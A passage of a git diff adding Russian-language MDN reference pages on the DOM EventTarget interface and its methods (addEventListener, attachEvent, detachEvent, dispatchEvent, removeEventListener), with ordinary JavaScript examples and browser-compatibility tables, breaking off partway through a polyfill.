+<p>Этот метод заменяет текущие слушатели события <code>click</code>, если они есть. Тоже самое для других событий и ассоциируемых с ними  обработчиков, таких как <code>blur</code> (<code>onblur</code>), <code>keypress</code> (<code>onkeypress</code>), и так далее.</p>
+
+<p>Так как это по существу было частью DOM 0, этот метод имеет широкую поддержку и не требует специального кросс-браузерного кода; следовательно, это обычно используется, чтобы добавлять слушатели динамически, если не требуются расширенные возможности <code>addEventListener()</code>.</p>
+
+<h3 id="Memory_issues" name="Memory_issues">Вопросы памяти</h3>
+
+<pre class="brush: js notranslate">var i;
+var els = document.getElementsByTagName('*');
+
+// Случай 1
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", function(e){/*некоторые действия*/}, false);
+}
+
+// Случай 2
+function processEvent(e){
+  /*некоторые действия*/
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+
+</pre>
+
+<p>В первом случае новая (анонимная) функция создаётся при каждом шаге цикла. Во втором случае одна заранее объявленная функция используется как обработчик события. Из этого следует меньшее потребление памяти. Более того, в первом случае, вследствие отсутствия ссылок на анонимные функции, невозможно вызвать <code><a href="/en-US/docs/DOM/element.removeEventListener" title="DOM/element.removeEventListener">element.removeEventListener</a>,</code> потому что нет ссылки на обработчик, в то время, как во втором случае возможно вызвать <code>myElement.removeEventListener("click", processEvent, false)</code>.</p>
+
+<h3 id="Улучшение_производительности_прокрутки_с_помощью_passive_true">Улучшение производительности прокрутки с помощью <code>passive: true</code></h3>
+
+<p>Значение по умолчанию для параметра <code>passive</code> - <code>false</code>. Начиная с Chrome 56 (desktop, Chrome for Android, Android webview) значение по умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code>, а вызовы <code>preventDefault()</code> не разрешены. Чтобы отменить это поведение, необходимо установить параметр <code>passive</code> в <code>false</code> (см. пример ниже). Это изменение не позволяет слушателю блокировать показ страницы во время прокрутки пользователя. Демонстрация доступна на <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">сайте разработчиков Google</a>. Обратите внимание, что Edge вообще не поддерживает <code>options</code>, и добавление его без <a href="https://developer.mozilla.org/ru/docs/Web/API/EventTarget/addEventListener$edit#Safely_detecting_option_support">проверки поддержки</a> помешает использовать аргумент <code>useCapture</code>.</p>
+
+<pre class="brush: js notranslate">/* Feature detection */
+var passiveSupported = false;
+try {
+    window.addEventListener(
+        "test",
+        null,
+        Object.defineProperty({}, "passive", { get: function() { passiveSupported = true; } }));
+} catch(err) {}
+
+/* Event Listener */
+var elem = document.getElementById('elem');
+elem.addEventListener(
+    '<code>touchmove</code>',
+    function listener() {   /* do something */ },
+    passiveSupported ? { passive: true } : false
+);</pre>
+
+<p>Установка <code>passive</code> не имеет значения для основного события {{event ("scroll")}}, поскольку его нельзя отменить, поэтому его слушатель в любом случае не может блокировать показ страницы.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость</h2>
+
+<div>{{Compat("api.EventTarget.addEventListener", 3)}}</div>
+
+<h3 id="Заметки_по_Gecko">Заметки по Gecko</h3>
+
+<ul>
+ <li>До Firefox 6, браузер выбросит исключение, если параметр <code>useCapture</code> не был точно равен <code>false</code>. До Gecko 9.0 {{geckoRelease("9.0")}}, <code>addEventListener()</code> выбросит исключение, если параметр <code>listener</code> был равен <code>null</code>; сейчас метод завершается без ошибки, но ничего не делает.</li>
+</ul>
+
+<h3 id="Заметки_по_WebKit">Заметки по WebKit</h3>
+
+<ul>
+ <li>Несмотря на то, что в WebKit параметр <code>useCapture</code> был объявлен необязательным <a href="http://trac.webkit.org/changeset/89781">только в июне 2011 года</a>, это работало и до этого изменения. Новые изменения были добавлены в Safari 5.1 и Chrome 13.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_2">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/attachevent/index.html b/files/ru/web/api/eventtarget/attachevent/index.html
new file mode 100644
index 0000000000..e7d6f423a4
--- /dev/null
+++ b/files/ru/web/api/eventtarget/attachevent/index.html
@@ -0,0 +1,93 @@
+---
+title: EventTarget.attachEvent()
+slug: Web/API/EventTarget/attachEvent
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p>Проприетарная альтернатива методу {{domxref("EventTarget.addEventListener()")}} от Microsoft Internet Explorer.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>attached</em> = <em>target</em>.attachEvent(<em>eventNameWithOn</em>, <em>callback</em>)
+</pre>
+
+<dl>
+ <dt>target</dt>
+ <dd>DOM элемент, на который требуется повесить "attachEvent()"</dd>
+ <dt>eventNameWithOn</dt>
+ <dd>Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать <code>"onclick" для установки обработчика для данного "click" ивента.</code></dd>
+ <dt>callback</dt>
+ <dd>Функция, вызываемая при появлении ивента на целевом элементе. Функция будет вызвана без аргументов, и с "this", ссылающимся на <a href="/en-US/docs/Web/API/Window/window"><code>window</code> object.</a></dd>
+ <dt>attached</dt>
+ <dd>Возвращает "true"если установка была успешна, иначе "false".</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью спецификации.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms536343(v=vs.85).aspx">содержит описание на MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6 thru 10 [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: <code>attachEvent()</code> больше не поддерживается в IE11+. {{domxref("EventTarget.addEventListener()")}} поддерживается в IE9+.</p>
+
+<h2 id="Смотрите_так-же">Смотрите так-же</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.detachEvent()")}}</li>
+ <li>{{domxref("EventTarget.fireEvent()")}}</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/detachevent/index.html b/files/ru/web/api/eventtarget/detachevent/index.html
new file mode 100644
index 0000000000..bf326b32ba
--- /dev/null
+++ b/files/ru/web/api/eventtarget/detachevent/index.html
@@ -0,0 +1,91 @@
+---
+title: EventTarget.detachEvent()
+slug: Web/API/EventTarget/detachEvent
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p>Это проприетарная альтернатива методу {{domxref("EventTarget.removeEventListener()")}}  в Microsoft Internet Explorer.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>target</em>.detachEvent(<em>eventNameWithOn</em>, <em>callback</em>)
+</pre>
+
+<dl>
+ <dt>target</dt>
+ <dd>DOM елемент, для которого надо убрать обработчик.</dd>
+ <dt>eventNameWithOn</dt>
+ <dd>Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать <code>"onclick" для удаления обработчика для данного "click" ивента.</code></dd>
+ <dt>callback</dt>
+ <dd>Функция, которую стоит убрать.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms536411(v=vs.85).aspx">содержит описание на MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6 thru 10 [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: <code>detachEvent()</code> больше не поддерживается в IE11+. {{domxref("EventTarget.removeEventListener()")}} поддерживается в IE9+.</p>
+
+<h2 id="Смотрите_так-же">Смотрите так-же</h2>
+
+<ul>
+ <li>{{ domxref("EventTarget.attachEvent()") }}</li>
+ <li>{{ domxref("EventTarget.fireEvent()") }}</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/dispatchevent/index.html b/files/ru/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..26e049cb28
--- /dev/null
+++ b/files/ru/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,82 @@
+---
+title: EventTarget.dispatchEvent()
+slug: Web/API/EventTarget/dispatchEvent
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p>Отправляет событие в общую систему событий. Это событие подчиняется тем же правилам поведения "Захвата" и "Всплывания" как и непосредственно инициированные события.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>event</code> - объект {{domxref("Event")}}, который инициализируется.</li>
+ <li><code>target</code> - используется для инициализации {{domxref("Event", "", "target")}}  и определяет, какие обработчики события вызвать.</li>
+</ul>
+
+<h3 id="Возвращаемое_Значение">Возвращаемое Значение</h3>
+
+<ul>
+ <li>Возвращаемое значение — <code>false</code>, если событие отменяемое и хотя бы один из обработчиков этого события вызвал {{domxref("Event.preventDefault()")}}. В ином случае — <code>true</code>.</li>
+</ul>
+
+<p>Метод <code>dispatchEvent</code> генерирует исключение <code>UNSPECIFIED_EVENT_TYPE_ERR</code>, если тип события не был указан при инициализации до вызова метода, или если тип события равен <code>null</code><strong> </strong>или пустой строке. Исключения возникающие в обработчиках события работают как неперехваченные исключения; обработчики события отрабатывают во вложенном стеке вызовов: они блокируют вызывающий код до окончания своего выполнения, но исключения не распространяются на вызывающего.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>dispatchEvent является последним шагом для процесса создание =&gt; инициализация =&gt; диспетчер, который используется для контроля  событий внутри модели выполнения событий.Событие может быть создано используя метод  <a href="https://developer.mozilla.org/en-US/docs/DOM/document.createEvent" title="DOM/document.createEvent">document.createEvent</a> и инициализировано используя <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">initEvent</a> или другой, более конкретный, метод инициализации, такой как <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">initMouseEvent</a> или <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Смотрите также  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event">События</a></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Для прочтения примера смотрите <a href="https://developer.mozilla.org/ru/docs/Web/Guide/Events/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9" title="https://developer.mozilla.org/en-US/docs/DOM/Creating_and_triggering_events?redirectlocale=en-US&amp;redirectslug=Creating_and_triggering_custom_events">Создание и инициирование собственных событий</a> .</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Описание</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventTarget-dispatchEvent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>dispatchEvent</code> представляет собой последний шаг в процессе create-init-dispatch, который служит для отправки событий.</p>
+
+<p>Событие может быть создано методом <a href="/en/DOM/document.createEvent" title="en/DOM/document.createEvent">document.createEvent</a> и инициализировано <a href="/en/DOM/event.initEvent" title="en/DOM/event.initEvent">initEvent</a> или, более конкретными инициализирующими методами, такими как <a href="/en/DOM/event.initMouseEvent" title="en/DOM/event.initMouseEvent">initMouseEvent</a> или <a href="/en/DOM/event.initUIEvent" title="en/DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Смотрите также <a href="/en/DOM/event" title="en/DOM/event">справку по Event object</a>.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p id="Specification">{{Compat("api.EventTarget.dispatchEvent")}}</p>
+
+<div style="-webkit-border-radius: 8px; opacity: 0; display: none; padding: 10px; background-color: #ffffff; position: fixed; right: 0px; top: 0px;"></div>
+
+<div style="-webkit-border-radius: 8px; opacity: 0; display: none; padding: 10px; background-color: #ffffff; position: fixed; right: 0px; top: 0px;"></div>
diff --git a/files/ru/web/api/eventtarget/eventtarget/index.html b/files/ru/web/api/eventtarget/eventtarget/index.html
new file mode 100644
index 0000000000..e7f8ed381d
--- /dev/null
+++ b/files/ru/web/api/eventtarget/eventtarget/index.html
@@ -0,0 +1,76 @@
+---
+title: EventTarget()
+slug: Web/API/EventTarget/EventTarget
+translation_of: Web/API/EventTarget/EventTarget
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p> <code><strong>EventTarget()</strong></code> конструктор создаёт  новый {{domxref("EventTarget")}} экземпляр объекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>myEventTarget</var> = new EventTarget();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет параметров.</p>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Экземпляр {{domxref("EventTarget")}} объекта.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js" id="ct-20">class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Срецификация</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Срецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерированна из структурированных данных. Если Вы желаете внести изменения, пожалуйста проверьте адрес <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> aи отправьте запрос (pull request).</div>
+
+<p>{{Compat("api.EventTarget.EventTarget")}}</p>
+</div>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("EventTarget")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/eventtarget/index.html b/files/ru/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..14aab04ab3
--- /dev/null
+++ b/files/ru/web/api/eventtarget/index.html
@@ -0,0 +1,120 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - DOM
+  - Interface
+translation_of: Web/API/EventTarget
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p><strong><code>EventTarget</code></strong> - это интерфейс, реализуемый объектами, которые могут генерировать события и могут иметь подписчиков на эти события.</p>
+
+<p>Наиболее частые генераторы событий - {{domxref("Element")}}, {{domxref("document")}}, и {{domxref("window")}},  но другие объекты так же могут использоваться в качестве источников событий , например {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, и другие.</p>
+
+<p>Многие источники событий (включая элементы, документ и окно) также поддерживают установку <a href="/en-US/docs/Web/Guide/DOM/Events/Event_handlers" title="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">обработчиков событий</a> с помощью on<code>...</code> свойств и аттрибутов.</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Регистрирует обработчик событий указанного типа на объекте.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd>Удаляет обработчик события.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd>Генерирует событие на объекте <code>EventTarget</code>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Несколько параметров теперь являються необязательными (<code>listener</code>), или принимают нулевое значение (<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>7</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>9.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Дополнительные_методы_для_Mozilla_chrome_кода">Дополнительные методы для Mozilla chrome кода</h3>
+
+<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. Смотрите так-же <a href="/en-US/docs/Mozilla/WebIDL_bindings" title="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{ non-standard_inline() }}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{ non-standard_inline() }}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Reference/Events" title="/en-US/docs/Web/Reference/Events">Event reference</a> - доступные ивенты на платформе.</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events" title="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+ <li>{{domxref("Event")}} interface</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..3470bb95a8
--- /dev/null
+++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,155 @@
+---
+title: Метод EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+tags:
+  - API
+  - Браузерная совместимость
+  - Обработка событий
+  - метод
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Удаляет обработчик события, который был зарегистрирован при помощи {{domxref("EventTarget.addEventListener()")}}. Обработчик определяется типом события, самой функцией обработки события, и дополнительными параметрами, переданными при регистрации обработчика.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Строка, описывающая тип события, которое нужно удалить.</dd>
+ <dt><code>listener</code></dt>
+ <dd>{{ domxref("EventListener") }} функция, которую нужно удалить с элемента.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект опций, описывающий характеристики обработчика события. Доступные опции:
+ <ul>
+  <li><code>capture</code>: {{jsxref("Boolean")}}. Указывает на то, что события этого типа отправляются данному обработчику до того, как происходит их передача любым <code>EventTarget</code>, находящимся ниже него в дереве DOM.</li>
+  <li><code>passive</code>: {{jsxref("Boolean")}}. Указывает на то, что <code>listener</code> никогда не будет вызывать <code>preventDefault()</code>. В противном случае (если <code>listener</code> вызовет <code>preventDefault()</code> ), user agent проигнорирует вызов и сгенерирует предупреждение в консоли.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Указывает, был ли удаляемый {{domxref("EventListener")}}зарегистрирован как перехватывающий обработчик, или нет. Если этот параметр отсутствует, предполагается значение по умолчанию:<code>false</code>.</dd>
+ <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удален по отдельности. Удаление перехватывающего обработчика никак не затрагивает не-перехватывающюю версию этого же обработчика, и наоборот.</dd>
+</dl>
+
+<div class="note"><strong>Заметка:</strong> <code>useCapture</code> требуется в большинстве основных браузеров старых версий. Если вы хотите поддерживать большую совместимость, вы всегда должны использовать параметр <code>useCapture</code>.</div>
+
+<h3 id="Return_value" name="Return_value">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Поиск_обработчика_при_удалении">Поиск обработчика при удалении</h3>
+
+<p>В большинстве браузеров помимо типа события и функции важно лишь совпадение значений параметра <code>useCapture</code> / <code>options.capture</code>, но так как это поведение не закреплено стандартом, наилучшим способом будет указание для <code>removeEventListener()</code> в точности тех же параметров, что были переданы в <code>addEventListener()</code>.</p>
+
+<h2 id="Compatibility" name="Compatibility">Примечания</h2>
+
+<p>Если {{domxref("EventListener")}} был удален из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p>
+
+<p>Вызов <code>removeEventListener()</code> с параметрами, не соответствующими ни одному зарегистрированному {{domxref("EventListener")}} в <code>EventTarget</code>, не имеет никакого эффекта.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Это пример добавления и последующего удаления обработчика событий.</p>
+
+<pre class="brush: js">var div = document.getElementById('div');
+var listener = function (event) {
+  /* do something here */
+};
+div.addEventListener('click', listener, false);
+div.removeEventListener('click', listener, false);
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость браузеров</h2>
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<h3 id="Gecko_примечания">Gecko примечания</h3>
+
+<ul>
+ <li>В версиях Firefox младше версии 6 браузер бросает исключение, если параметр <code>useCapture</code> не был явно указан как <font face="'Courier New', 'Andale Mono', monospace"><span style="line-height: normal;">false</span></font>. В Gecko младше 9.0 {{ geckoRelease("9.0") }}, <code>addEventListener()</code> бросает исключение, если параметр <code>listener</code> равен <code>null</code>; в настоящее время метод отрабатывает без ошибки, но при этом не производит никаких действий.</li>
+</ul>
+
+<h3 id="Opera_примечания">Opera примечания</h3>
+
+<ul>
+ <li>В Opera 12.00 параметр <code>useCapture</code> - опциональный (<a class="external" href="http://my.opera.com/ODIN/blog/2011/09/29/what-s-new-in-opera-development-snapshots-28-september-2011-edition">source</a>).</li>
+</ul>
+
+<h3 id="WebKit_примечания">WebKit примечания</h3>
+
+<ul>
+ <li>Несмотря на то, что WebKit явно добавил "<code>[optional]</code>" к параметру <code>useCapture</code> в Safari 5.1 и Chrome 13, это работало и до изменений.</li>
+</ul>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-EventTarget-removeEventListener">removeEventListener </a></li>
+</ul>
+
+<h2 id="Полифилы_для_поддержки_старых_браузеров">Полифилы для поддержки старых браузеров</h2>
+
+<p><code>addEventListener()</code> и <code>removeEventListener()</code> отсутствуют в старых браузерах. Это ограничение можно обойти, вставив следующий код в начале ваших скриптов, что позволяет использовать <code>addEventListener()</code> и <code>removeEventListener()</code> в версиях, не поддерживающих эти методы нативно. Тем не менее, этот метод не работает в Internet Explorer версии 7 и ниже, так как расширение Element.prototype не поддерживалось в более ранних версиях Internet Explorer ранее 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
